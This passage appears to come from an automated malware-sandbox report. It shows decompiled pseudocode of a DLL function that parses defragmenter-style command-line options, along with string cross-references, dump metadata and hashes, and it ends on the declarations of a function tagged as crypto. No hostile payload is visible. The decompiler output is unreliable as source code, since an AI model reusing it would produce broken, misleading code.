				signed long long _t336;
				intOrPtr _t338;
				long long _t339;
				long long _t340;
				intOrPtr _t341;
				intOrPtr _t342;
				long long _t343;
				long long _t344;
				long long _t347;
				long long _t350;
				intOrPtr _t351;
				long long _t352;
				long long _t356;
				intOrPtr* _t366;
				intOrPtr _t409;
				intOrPtr _t415;
				intOrPtr* _t480;
				long long _t484;
				struct _OSVERSIONINFOA* _t486;
				void* _t487;
				void* _t489;
				signed long long _t490;
				void* _t499;
				void* _t523;
				void* _t524;
				void* _t526;
				long long _t527;
				void* _t529;
				void* _t531;
				short* _t534;

				_t481 = __rdi;
				_t335 = _t489;
				 *((long long*)(_t335 + 8)) = __rbx;
				 *((long long*)(_t335 + 0x10)) = __rsi;
				 *((long long*)(_t335 + 0x18)) = __rdi;
				_t487 = _t489 - 0x80;
				_t490 = _t489 - 0x180;
				asm("movaps [eax-0x38], xmm6");
				asm("inc esp");
				_t336 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t487 + 0x50) = _t336 ^ _t490;
				_t338 =  *0x800d9230; // 0x0
				r13d = 2;
				asm("movsd xmm6, [0xb90d0]");
				 *((intOrPtr*)(_t490 + 0x54)) = 0x64;
				_t527 =  *((intOrPtr*)(_t338 + 0x20));
				_t532 =  *((intOrPtr*)(_t338 + 0x10));
				_t339 =  *((intOrPtr*)(_t338 + 0x18));
				 *((long long*)(_t490 + 0x70)) = _t339;
				 *((long long*)(_t490 + 0x60)) = _t339;
				 *((long long*)(_t490 + 0x58)) = _t339;
				 *((intOrPtr*)(_t490 + 0x68)) = 0;
				GetCommandLineW();
				CommandLineToArgvW(_t534);
				_t484 = _t339;
				if ( *((intOrPtr*)(_t490 + 0x50)) - 1 <= 0) goto 0x80001956;
				_t18 = _t339 + 8; // 0x8
				if (E00000001180025A40( *((intOrPtr*)(_t490 + 0x50)) - 1,  *_t18, 0x8007d664) != 0) goto 0x80001917;
				_t257 = _t529 - 1 + 1;
				if (_t257 -  *((intOrPtr*)(_t490 + 0x50)) >= 0) goto 0x8000194a;
				goto 0x80001942;
				_t492 = _t529;
				if (E000000011800267DC(_t529) != 0) goto 0x8000194a;
				0x800264d8();
				if (_t339 - 3 < 0) goto 0x8000194a;
				E0000000118000FC08(_t240, _t339 - 3, _t339, _t527,  *((intOrPtr*)(_t18 + 8)) + 4);
				if (_t257 + 1 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x800018f3;
				E000000011800538B4(E0000000118000FB20(_t527,  *((intOrPtr*)(_t338 + 0x28)), _t529, _t499, _t531, _t529, _t526), _t490 + 0x78,  *((intOrPtr*)(_t338 + 0x28)));
				0x800534f4();
				r9d =  *((intOrPtr*)(_t487 - 0x70));
				r8d =  *((intOrPtr*)(_t487 - 0x6c));
				r9d = r9d + 1;
				r8d = r8d + 0x76c;
				 *((intOrPtr*)(_t490 + 0x20)) =  *((intOrPtr*)(_t487 - 0x74));
				_t177 = E0000000118000FB20(_t527, L"Date: %04lu/%02lu/%02lu", _t529, _t499);
				_t28 = _t487 - 0x50; // -78
				r8d = 0x94;
				E000000011800164C0(_t177, 0, _t28, L"Date: %04lu/%02lu/%02lu", _t529);
				 *((intOrPtr*)(_t487 - 0x50)) = 0x94;
				if (GetVersionExA(_t486) == 0) goto 0x800019ec;
				r9d =  *((intOrPtr*)(_t487 - 0x48));
				_t32 = _t487 - 0x3c; // -58
				_t340 = _t32;
				r8d =  *((intOrPtr*)(_t487 - 0x4c));
				 *((long long*)(_t490 + 0x28)) = _t340;
				 *((intOrPtr*)(_t490 + 0x20)) =  *((intOrPtr*)(_t487 - 0x44));
				E0000000118000FB20(_t527, L"Windows version: v%lu.%lu build %lu %S", _t529, _t499);
				if ( *((intOrPtr*)(_t490 + 0x50)) - 1 <= 0) goto 0x80001f47;
				asm("inc ebp");
				if (E00000001180025A40( *((intOrPtr*)(_t490 + 0x50)) - 1,  *((intOrPtr*)(_t484 + 8)), L"-a") != 0) goto 0x80001a86;
				if (1 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001a3f;
				r8d = 0;
				E00000001180004968(_t240, 0, _t340,  *((intOrPtr*)(_t338 + 0x10)), L"-a", _t492, L"Error: you have not specified a number after the \"-a\" commandline argument.");
				goto 0x80001f39;
				r13d = E0000000118002F8D8(_t340, 1,  *((intOrPtr*)(_t484 + 0x10)), __rdi, _t492, _t523, _t524);
				_t44 = _t340 - 1; // -1
				if (_t44 - 0xa <= 0) goto 0x80001a70;
				r8d = 0;
				E00000001180004968(_t44, 0, _t340,  *((intOrPtr*)(_t338 + 0x10)), L"-a", _t492, L"Error: the number after the \"-a\" commandline argument is invalid.");
				r13d = 3;
				 *((intOrPtr*)(_t490 + 0x20)) = r13d;
				r13d = r13d - 1;
				goto 0x80001f2c;
				r8d = 2;
				if (E000000011800267DC(_t492) != 0) goto 0x80001ab7;
				r13d = E0000000118002F8D8(_t340, 1,  *((intOrPtr*)(_t484 + 8)) + 4, _t481, _t492, _t523, _t524);
				goto 0x80001a54;
				if (E00000001180025A40(_t189 - 1 - 0xa,  *((intOrPtr*)(_t484 + 8)) + 4, L"-s") != 0) goto 0x80001b22;
				if (3 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001adb;
				goto 0x80001a2d;
				_t192 = E0000000118002F8D8(_t340, 1,  *((intOrPtr*)(_t484 + 0x18)), _t481, _t492, _t523, _t524);
				_t53 = _t340 - 1; // -1
				 *((intOrPtr*)(_t490 + 0x54)) = _t192;
				if (_t53 - 0x63 <= 0) goto 0x80001b12;
				r8d = 0;
				E00000001180004968(_t53, 0, _t340,  *((intOrPtr*)(_t338 + 0x10)), L"-s", _t492, L"Error: the number after the \"-s\" commandline argument is invalid.");
				 *((intOrPtr*)(_t490 + 0x54)) = 0x64;
				 *((intOrPtr*)(_t490 + 0x20)) = 0x64;
				goto 0x80001f2c;
				r8d = 2;
				if (E000000011800267DC(_t492) != 0) goto 0x80001b61;
				0x800264d8();
				if (_t340 - 3 < 0) goto 0x80001b61;
				_t195 = E0000000118002F8D8(_t340, 1,  *((intOrPtr*)(_t484 + 8)) + 4, _t481, _t492, _t523, _t524);
				goto 0x80001aef;
				if (E00000001180025A40(_t195 - 1 - 0x63,  *((intOrPtr*)(_t484 + 8)), L"-f") != 0) goto 0x80001bd7;
				_t294 = 4 -  *((intOrPtr*)(_t490 + 0x50));
				if (_t294 < 0) goto 0x80001b89;
				goto 0x80001a2d;
				E0000000118002D87C(_t340, 1,  *((intOrPtr*)(_t484 + 0x20)), L"-f", _t484, _t492, L"Error: you have not specified a number after the \"-f\" commandline argument.");
				asm("inc sp");
				asm("movaps xmm6, xmm0");
				if (_t294 > 0) goto 0x80001ba9;
				asm("comisd xmm0, [0xb8dd1]");
				if (_t294 <= 0) goto 0x80001bc5;
				r8d = 0;
				E00000001180004968(_t53, 0, _t340,  *((intOrPtr*)(_t338 + 0x10)), L"-f", _t492, L"Error: the number after the \"-f\" commandline argument is invalid.");
				asm("movsd xmm6, [0xb8dab]");
				asm("movsd [esp+0x20], xmm6");
				goto 0x80001f2c;
				r8d = 2;
				if (E000000011800267DC(_t492) != 0) goto 0x80001c4f;
				0x800264d8();
				_t296 = _t340 - 3;
				if (_t296 < 0) goto 0x80001c4f;
				E0000000118002D87C(_t340, 1,  *((intOrPtr*)(_t484 + 8)) + 4, L"-f", _t484, _t492, L"Commandline argument \'-f\' accepted, freespace = %0.1f%%");
				asm("inc sp");
				asm("movaps xmm6, xmm0");
				if (_t296 > 0) goto 0x80001c21;
				asm("comisd xmm0, [0xb8d59]");
				if (_t296 <= 0) goto 0x80001c3d;
				r8d = 0;
				E00000001180004968(_t53, 0, _t340, _t532, L"-f", _t492, L"Error: the number after the \"-f\" command line argument is invalid.");
				asm("movsd xmm6, [0xb8d33]");
				asm("movsd [esp+0x20], xmm6");
				goto 0x80001f2c;
				if (E00000001180025A40(_t296,  *((intOrPtr*)(_t484 + 8)), L"-d") != 0) goto 0x80001cda;
				if (5 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001c77;
				goto 0x80001a2d;
				_t204 = E0000000118002F8D8(_t340, 1,  *((intOrPtr*)(_t484 + 0x28)), _t481, _t492, _t523, _t524);
				_t409 =  *0x800d9230; // 0x0
				 *((intOrPtr*)(_t409 + 8)) = _t204;
				_t341 =  *0x800d9230; // 0x0
				if ( *((intOrPtr*)(_t341 + 8)) - 6 <= 0) goto 0x80001cc7;
				r8d = 0;
				E00000001180004968(6, 0, _t341, _t532, L"-d", _t492, L"Error: the number after the \"-d\" commandline argument is invalid.");
				_t342 =  *0x800d9230; // 0x0
				 *((intOrPtr*)(_t342 + 8)) = 1;
				_t343 =  *0x800d9230; // 0x0
				 *((intOrPtr*)(_t490 + 0x20)) =  *((intOrPtr*)(_t343 + 8));
				goto 0x80001f2c;
				r8d = 2;
				if (E000000011800267DC(_t492) != 0) goto 0x80001d2d;
				0x800264d8();
				if (_t343 != 3) goto 0x80001d2d;
				if (( *( *((intOrPtr*)(_t484 + 8)) + 4) & 0x0000ffff) - 0x30 - 6 > 0) goto 0x80001d2d;
				_t210 = E0000000118002F8D8(_t343, 1,  *((intOrPtr*)(_t484 + 8)) + 4, _t481, _t492, _t523, _t524);
				_t415 =  *0x800d9230; // 0x0
				 *((intOrPtr*)(_t415 + 8)) = _t210;
				goto 0x80001cca;
				if (E00000001180025A40(( *( *((intOrPtr*)(_t484 + 8)) + 4) & 0x0000ffff) - 0x30 - 6,  *((intOrPtr*)(_t484 + 8)), 0x8007d664) != 0) goto 0x80001d89;
				if (6 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001d55;
				goto 0x80001a2d;
				E0000000118000FB18(_t211, _t527);
				r8d = 0;
				if ( *_t343 == 0) goto 0x80001d7d;
				 *((long long*)(_t490 + 0x20)) = _t343;
				goto 0x80001f34;
				goto 0x80001a35;
				r8d = 2;
				if (E000000011800267DC(_t492) != 0) goto 0x80001db2;
				0x800264d8();
				if (_t343 - 3 >= 0) goto 0x80001d55;
				if (E00000001180025A40(_t343 - 3,  *((intOrPtr*)(_t484 + 8)), L"-e") != 0) goto 0x80001e03;
				if (7 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001dda;
				goto 0x80001a2d;
				E00000001180005F7C(7,  *((intOrPtr*)(_t490 + 0x60)), _t484,  *((intOrPtr*)(_t484 + 0x38)));
				 *((long long*)(_t490 + 0x60)) = _t343;
				_t344 =  *((intOrPtr*)(_t484 + 0x38));
				goto 0x80001f27;
				r8d = 2;
				if (E000000011800267DC( *((intOrPtr*)(_t484 + 0x38))) != 0) goto 0x80001e50;
				0x800264d8();
				if (_t344 - 3 < 0) goto 0x80001e50;
				E00000001180005F7C(7,  *((intOrPtr*)(_t490 + 0x60)), _t484,  *((intOrPtr*)(_t484 + 0x38)) + 4);
				 *((long long*)(_t490 + 0x60)) = _t344;
				goto 0x80001df7;
				if (E00000001180025A40(_t344 - 3,  *((intOrPtr*)(_t484 + 0x38)), L"-u") != 0) goto 0x80001ea1;
				if (8 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001e78;
				goto 0x80001a2d;
				E00000001180005F7C(8,  *((intOrPtr*)(_t490 + 0x58)), _t484,  *((intOrPtr*)(_t484 + 0x40)));
				 *((long long*)(_t490 + 0x58)) =  *((intOrPtr*)(_t484 + 0x38)) + 4;
				_t347 =  *((intOrPtr*)(_t484 + 0x40));
				goto 0x80001f27;
				r8d = 2;
				if (E000000011800267DC( *((intOrPtr*)(_t484 + 0x40))) != 0) goto 0x80001eee;
				0x800264d8();
				if (_t347 - 3 < 0) goto 0x80001eee;
				E00000001180005F7C(8,  *((intOrPtr*)(_t490 + 0x58)), _t484,  *((intOrPtr*)(_t484 + 0x40)) + 4);
				 *((long long*)(_t490 + 0x58)) = _t347;
				goto 0x80001e95;
				if (E00000001180025A40(_t347 - 3,  *((intOrPtr*)(_t484 + 0x40)), L"-q") != 0) goto 0x80001f16;
				 *((intOrPtr*)(_t490 + 0x68)) = 1;
				goto 0x80001a2d;
				_t350 =  *((intOrPtr*)(_t484 + 0x40));
				if ( *_t350 != 0x2d) goto 0x80001f39;
				 *((long long*)(_t490 + 0x20)) = _t350;
				r8d = 0;
				E00000001180004968(0, 0, _t350, _t532, L"-q",  *((intOrPtr*)(_t484 + 0x40)) + 4, L"Error: commandline argument not recognised: %s");
				_t224 =  *((intOrPtr*)(_t490 + 0x50));
				if (9 - _t224 < 0) goto 0x80001a07;
				r14d = 1;
				r12d = 0;
				if (_t224 - r14d <= 0) goto 0x8000207c;
				_t144 = _t484 + 8; // 0x9
				_t366 = _t144;
				_t351 =  *0x800d9230; // 0x0
				if ( *((intOrPtr*)(_t351 + 4)) != r12d) goto 0x80002074;
				if (E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e"),  *_t366, L"-u") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e"),  *_t366, L"-u"),  *_t366, L"-s") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e"),  *_t366, L"-u"),  *_t366, L"-s"),  *_t366, L"-f") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e"),  *_t366, L"-u"),  *_t366, L"-s"),  *_t366, L"-f"),  *_t366, L"-d") == 0) goto 0x80002057;
				if (E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40(E00000001180025A40( *((intOrPtr*)(_t351 + 4)) - r12d,  *_t366, L"-a"),  *_t366, L"-e"),  *_t366, L"-u"),  *_t366, L"-s"),  *_t366, L"-f"),  *_t366, L"-d"),  *_t366, 0x8007d664) == 0) goto 0x80002057;
				_t480 =  *_t366;
				if ( *_t480 == 0x2d) goto 0x8000205d;
				if ( *_t480 == r12w) goto 0x8000205d;
				_t352 =  *0x800d9230; // 0x0
				r9d =  *((intOrPtr*)(_t490 + 0x54));
				 *((long long*)(_t490 + 0x40)) = _t527;
				r8d = r13d;
				 *((long long*)(_t490 + 0x38)) = _t352;
				 *((long long*)(_t490 + 0x30)) =  *((intOrPtr*)(_t490 + 0x58));
				 *((long long*)(_t490 + 0x28)) =  *((intOrPtr*)(_t490 + 0x60));
				asm("movsd [esp+0x20], xmm6");
				E0000000118000DCA0(0, _t273,  *((intOrPtr*)(_t490 + 0x70)), _t480);
				r14d = r12d;
				goto 0x8000205d;
				if (r14d + 2 -  *((intOrPtr*)(_t490 + 0x50)) < 0) goto 0x80001f64;
				if (r14d != 1) goto 0x800020c1;
				goto 0x80002087;
				_t356 =  *0x800d9230; // 0x0
				if ( *((intOrPtr*)(_t356 + 4)) != r12d) goto 0x800020c1;
				 *((long long*)(_t490 + 0x40)) = _t527;
				r9d =  *((intOrPtr*)(_t490 + 0x54));
				 *((long long*)(_t490 + 0x38)) = _t356;
				r8d = r13d;
				 *((long long*)(_t490 + 0x30)) =  *((intOrPtr*)(_t490 + 0x58));
				 *((long long*)(_t490 + 0x28)) =  *((intOrPtr*)(_t490 + 0x60));
				asm("movsd [esp+0x20], xmm6");
				E0000000118000DCA0(0, _t273,  *((intOrPtr*)(_t490 + 0x70)), _t480);
				if ( *((intOrPtr*)(_t490 + 0x68)) == 1) goto 0x80002101;
				_t235 = E000000011800149A0(0, 0,  *(_t487 + 0x50) ^ _t490);
				asm("inc ecx");
				asm("inc ebp");
				return _t235;
			}














































                                                                                                        0x180001850
                                                                                                        0x180001850
                                                                                                        0x180001853
                                                                                                        0x180001857
                                                                                                        0x18000185b
                                                                                                        0x180001868
                                                                                                        0x18000186d
                                                                                                        0x180001874
                                                                                                        0x180001878
                                                                                                        0x18000187d
                                                                                                        0x180001887
                                                                                                        0x18000188b
                                                                                                        0x180001892
                                                                                                        0x180001898
                                                                                                        0x1800018a0
                                                                                                        0x1800018a8
                                                                                                        0x1800018b0
                                                                                                        0x1800018b4
                                                                                                        0x1800018b8
                                                                                                        0x1800018bf
                                                                                                        0x1800018c4
                                                                                                        0x1800018c9
                                                                                                        0x1800018cd
                                                                                                        0x1800018db
                                                                                                        0x1800018e6
                                                                                                        0x1800018e9
                                                                                                        0x1800018ef
                                                                                                        0x180001904
                                                                                                        0x180001906
                                                                                                        0x180001910
                                                                                                        0x180001915
                                                                                                        0x180001921
                                                                                                        0x18000192b
                                                                                                        0x180001930
                                                                                                        0x180001939
                                                                                                        0x180001945
                                                                                                        0x180001954
                                                                                                        0x180001966
                                                                                                        0x180001974
                                                                                                        0x180001979
                                                                                                        0x180001984
                                                                                                        0x180001988
                                                                                                        0x18000198e
                                                                                                        0x180001998
                                                                                                        0x18000199c
                                                                                                        0x1800019a6
                                                                                                        0x1800019aa
                                                                                                        0x1800019af
                                                                                                        0x1800019b8
                                                                                                        0x1800019c3
                                                                                                        0x1800019c5
                                                                                                        0x1800019c9
                                                                                                        0x1800019c9
                                                                                                        0x1800019cd
                                                                                                        0x1800019d8
                                                                                                        0x1800019e3
                                                                                                        0x1800019e7
                                                                                                        0x1800019f8
                                                                                                        0x180001a03
                                                                                                        0x180001a1c
                                                                                                        0x180001a24
                                                                                                        0x180001a2d
                                                                                                        0x180001a35
                                                                                                        0x180001a3a
                                                                                                        0x180001a4b
                                                                                                        0x180001a4e
                                                                                                        0x180001a54
                                                                                                        0x180001a5d
                                                                                                        0x180001a65
                                                                                                        0x180001a6a
                                                                                                        0x180001a7a
                                                                                                        0x180001a7e
                                                                                                        0x180001a81
                                                                                                        0x180001a91
                                                                                                        0x180001aa2
                                                                                                        0x180001aad
                                                                                                        0x180001ab5
                                                                                                        0x180001ac5
                                                                                                        0x180001acd
                                                                                                        0x180001ad6
                                                                                                        0x180001ae2
                                                                                                        0x180001ae9
                                                                                                        0x180001aef
                                                                                                        0x180001af3
                                                                                                        0x180001afc
                                                                                                        0x180001b04
                                                                                                        0x180001b0e
                                                                                                        0x180001b12
                                                                                                        0x180001b1d
                                                                                                        0x180001b2d
                                                                                                        0x180001b3a
                                                                                                        0x180001b40
                                                                                                        0x180001b49
                                                                                                        0x180001b53
                                                                                                        0x180001b5f
                                                                                                        0x180001b73
                                                                                                        0x180001b77
                                                                                                        0x180001b7b
                                                                                                        0x180001b84
                                                                                                        0x180001b90
                                                                                                        0x180001b95
                                                                                                        0x180001b9a
                                                                                                        0x180001b9d
                                                                                                        0x180001b9f
                                                                                                        0x180001ba7
                                                                                                        0x180001bb0
                                                                                                        0x180001bb8
                                                                                                        0x180001bbd
                                                                                                        0x180001bc5
                                                                                                        0x180001bd2
                                                                                                        0x180001be2
                                                                                                        0x180001bef
                                                                                                        0x180001bf5
                                                                                                        0x180001bfa
                                                                                                        0x180001bfe
                                                                                                        0x180001c08
                                                                                                        0x180001c0d
                                                                                                        0x180001c12
                                                                                                        0x180001c15
                                                                                                        0x180001c17
                                                                                                        0x180001c1f
                                                                                                        0x180001c28
                                                                                                        0x180001c30
                                                                                                        0x180001c35
                                                                                                        0x180001c3d
                                                                                                        0x180001c4a
                                                                                                        0x180001c61
                                                                                                        0x180001c69
                                                                                                        0x180001c72
                                                                                                        0x180001c7e
                                                                                                        0x180001c83
                                                                                                        0x180001c8a
                                                                                                        0x180001c92
                                                                                                        0x180001c9c
                                                                                                        0x180001ca5
                                                                                                        0x180001cad
                                                                                                        0x180001cb2
                                                                                                        0x180001cb9
                                                                                                        0x180001cc0
                                                                                                        0x180001cca
                                                                                                        0x180001cd5
                                                                                                        0x180001ce5
                                                                                                        0x180001cf2
                                                                                                        0x180001cf8
                                                                                                        0x180001d01
                                                                                                        0x180001d1a
                                                                                                        0x180001d1c
                                                                                                        0x180001d21
                                                                                                        0x180001d28
                                                                                                        0x180001d2b
                                                                                                        0x180001d3f
                                                                                                        0x180001d47
                                                                                                        0x180001d50
                                                                                                        0x180001d58
                                                                                                        0x180001d5f
                                                                                                        0x180001d6a
                                                                                                        0x180001d6c
                                                                                                        0x180001d78
                                                                                                        0x180001d84
                                                                                                        0x180001d94
                                                                                                        0x180001da1
                                                                                                        0x180001da7
                                                                                                        0x180001db0
                                                                                                        0x180001dc4
                                                                                                        0x180001dcc
                                                                                                        0x180001dd5
                                                                                                        0x180001de9
                                                                                                        0x180001dee
                                                                                                        0x180001df3
                                                                                                        0x180001dfe
                                                                                                        0x180001e0e
                                                                                                        0x180001e1b
                                                                                                        0x180001e21
                                                                                                        0x180001e2a
                                                                                                        0x180001e3c
                                                                                                        0x180001e41
                                                                                                        0x180001e4e
                                                                                                        0x180001e62
                                                                                                        0x180001e6a
                                                                                                        0x180001e73
                                                                                                        0x180001e87
                                                                                                        0x180001e8c
                                                                                                        0x180001e91
                                                                                                        0x180001e9c
                                                                                                        0x180001eac
                                                                                                        0x180001eb9
                                                                                                        0x180001ebf
                                                                                                        0x180001ec8
                                                                                                        0x180001eda
                                                                                                        0x180001edf
                                                                                                        0x180001eec
                                                                                                        0x180001f00
                                                                                                        0x180001f02
                                                                                                        0x180001f11
                                                                                                        0x180001f16
                                                                                                        0x180001f1e
                                                                                                        0x180001f27
                                                                                                        0x180001f2c
                                                                                                        0x180001f34
                                                                                                        0x180001f39
                                                                                                        0x180001f41
                                                                                                        0x180001f47
                                                                                                        0x180001f4d
                                                                                                        0x180001f53
                                                                                                        0x180001f59
                                                                                                        0x180001f59
                                                                                                        0x180001f64
                                                                                                        0x180001f6f
                                                                                                        0x180001f86
                                                                                                        0x180001f9d
                                                                                                        0x180001fb4
                                                                                                        0x180001fcb
                                                                                                        0x180001fe2
                                                                                                        0x180001ff5
                                                                                                        0x180002008
                                                                                                        0x18000200a
                                                                                                        0x180002011
                                                                                                        0x180002017
                                                                                                        0x180002019
                                                                                                        0x180002020
                                                                                                        0x180002023
                                                                                                        0x180002028
                                                                                                        0x18000202b
                                                                                                        0x180002038
                                                                                                        0x180002042
                                                                                                        0x180002047
                                                                                                        0x18000204d
                                                                                                        0x180002052
                                                                                                        0x180002055
                                                                                                        0x180002067
                                                                                                        0x180002078
                                                                                                        0x18000207a
                                                                                                        0x18000207c
                                                                                                        0x18000208b
                                                                                                        0x18000208d
                                                                                                        0x180002092
                                                                                                        0x180002095
                                                                                                        0x18000209a
                                                                                                        0x1800020a4
                                                                                                        0x1800020b1
                                                                                                        0x1800020b6
                                                                                                        0x1800020bc
                                                                                                        0x1800020c6
                                                                                                        0x1800020d1
                                                                                                        0x1800020ea
                                                                                                        0x1800020ef
                                                                                                        0x180002100

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        • Error: you have not specified a number after the "-d" commandline argument., xrefs: 0000000180001C6B
                                                                                                        • Error: the number after the "-f" commandline argument is invalid., xrefs: 0000000180001BA9
                                                                                                        • Command line argument '-f' accepted, free space = %0.1f%%, xrefs: 0000000180001C43
                                                                                                        • Error: you have not specified a number after the "-s" commandline argument., xrefs: 0000000180001ACF
                                                                                                        • Error: you have not specified a number after the "-a" commandline argument., xrefs: 0000000180001A26
                                                                                                        • Commandline argument '-l' accepted, logfile turned off, xrefs: 0000000180001D7D
                                                                                                        • Date: %04lu/%02lu/%02lu, xrefs: 000000018000197D
                                                                                                        • Commandline argument '-s' accepted, speed = %u%%, xrefs: 0000000180001B16
                                                                                                        • Error: you have not specified a number after the "-f" commandline argument., xrefs: 0000000180001B7D
                                                                                                        • Error: you have not specified a mask after the "-e" commandline argument., xrefs: 0000000180001DCE
                                                                                                        • Commandline argument '-a' accepted, optimizemode = %u, xrefs: 0000000180001A73
                                                                                                        • d, xrefs: 00000001800018A0
                                                                                                        • Error: the number after the "-d" commandline argument is invalid., xrefs: 0000000180001C9E
                                                                                                        • Error: the number after the "-a" commandline argument is invalid., xrefs: 0000000180001A56
                                                                                                        • Commandline argument '-q' accepted, quitonfinish = yes, xrefs: 0000000180001F0A
                                                                                                        • Commandline argument '-f' accepted, freespace = %0.1f%%, xrefs: 0000000180001BCB
                                                                                                        • Commandline argument '-e' accepted, added '%s' to the excludes, xrefs: 0000000180001DF7
                                                                                                        • Commandline argument '-l' accepted, logfile = %s, xrefs: 0000000180001D71
                                                                                                        • Error: the number after the "-f" command line argument is invalid., xrefs: 0000000180001C21
                                                                                                        • Windows version: v%lu.%lu build %lu %S, xrefs: 00000001800019D1
                                                                                                        • Error: commandline argument not recognised: %s, xrefs: 0000000180001F20
                                                                                                        • Error: you have not specified a filename after the "-l" commandline argument., xrefs: 0000000180001D49
                                                                                                        • Error: you have not specified a mask after the "-u" commandline argument., xrefs: 0000000180001E6C
                                                                                                        • Error: the number after the "-s" commandline argument is invalid., xrefs: 0000000180001AF5
                                                                                                        • Commandline argument '-d' accepted, debug = %u, xrefs: 0000000180001CCE
                                                                                                        • Commandline argument '-u' accepted, added '%s' to the spacehogs, xrefs: 0000000180001E95
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: CommandLine$ArgvVersion
                                                                                                        • String ID: Command line argument '-f' accepted, free space = %0.1f%%$Commandline argument '-a' accepted, optimizemode = %u$Commandline argument '-d' accepted, debug = %u$Commandline argument '-e' accepted, added '%s' to the excludes$Commandline argument '-f' accepted, freespace = %0.1f%%$Commandline argument '-l' accepted, logfile = %s$Commandline argument '-l' accepted, logfile turned off$Commandline argument '-q' accepted, quitonfinish = yes$Commandline argument '-s' accepted, speed = %u%%$Commandline argument '-u' accepted, added '%s' to the spacehogs$Date: %04lu/%02lu/%02lu$Error: commandline argument not recognised: %s$Error: the number after the "-a" commandline argument is invalid.$Error: the number after the "-d" commandline argument is invalid.$Error: the number after the "-f" command line argument is invalid.$Error: the number after the "-f" commandline argument is invalid.$Error: the number after the "-s" commandline argument is invalid.$Error: you have not specified a filename after the "-l" commandline argument.$Error: you have not specified a mask after the "-e" commandline argument.$Error: you have not specified a mask after the "-u" commandline argument.$Error: you have not specified a number after the "-a" commandline argument.$Error: you have not specified a number after the "-d" commandline argument.$Error: you have not specified a number after the "-f" commandline argument.$Error: you have not specified a number after the "-s" commandline argument.$Windows version: v%lu.%lu build %lu %S$d
                                                                                                        • API String ID: 658242487-3800166580
                                                                                                        • Opcode ID: 18860792f14e7f2fa565b04db440886e0ca6051bfff7f20330d3b3f057b9db0e
                                                                                                        • Instruction ID: c8def442d9ca74377e09bed58955956cef9e97d79b9cf14e32c51450a92e29d9
                                                                                                        • Opcode Fuzzy Hash: 18860792f14e7f2fa565b04db440886e0ca6051bfff7f20330d3b3f057b9db0e
                                                                                                        • Instruction Fuzzy Hash: C2428D32214A4DC5FBA2DB65E4517EAB361F78CBC9F40C116FA8A476A5EF79C608C700
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002A098 Relevance: 49.1, APIs: 25, Strings: 2, Instructions: 1888COMMONCrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 78%
                                                                                                        			E0000000118002A098(void* __ebp, long long __rbx, signed int* __rcx, signed int __rdx, signed long long __r11) {
				void* __rsi;
				void* __rbp;
				void* __r13;
				intOrPtr _t874;
				signed int _t875;
				unsigned int _t886;
				intOrPtr _t893;
				signed int _t910;
				signed int _t919;
				unsigned int _t928;
				intOrPtr _t935;
				signed int _t954;
				intOrPtr _t963;
				unsigned int _t985;
				intOrPtr _t991;
				unsigned int _t1011;
				signed int _t1032;
				unsigned int _t1053;
				unsigned int _t1062;
				void* _t1075;
				void* _t1076;
				signed int _t1086;
				signed int _t1099;
				void* _t1114;
				intOrPtr _t1118;
				intOrPtr _t1123;
				signed int _t1124;
				intOrPtr _t1128;
				intOrPtr _t1132;
				signed int _t1138;
				signed int _t1140;
				signed int _t1154;
				signed int _t1164;
				signed int _t1167;
				unsigned int _t1175;
				unsigned int _t1178;
				signed int _t1183;
				signed int _t1184;
				signed int _t1191;
				signed int _t1197;
				signed int _t1198;
				signed int _t1201;
				void* _t1207;
				signed int _t1247;
				signed int _t1277;
				void* _t1299;
				signed int _t1304;
				signed int _t1306;
				signed int _t1314;
				signed int _t1331;
				unsigned int _t1332;
				signed int _t1343;
				signed int _t1347;
				signed int _t1351;
				signed int _t1354;
				void* _t1355;
				void* _t1404;
				void* _t1451;
				signed int _t1458;
				char _t1557;
				signed int _t1558;
				void* _t1559;
				void* _t1571;
				void* _t1585;
				signed long long _t1594;
				signed long long _t1597;
				signed long long _t1601;
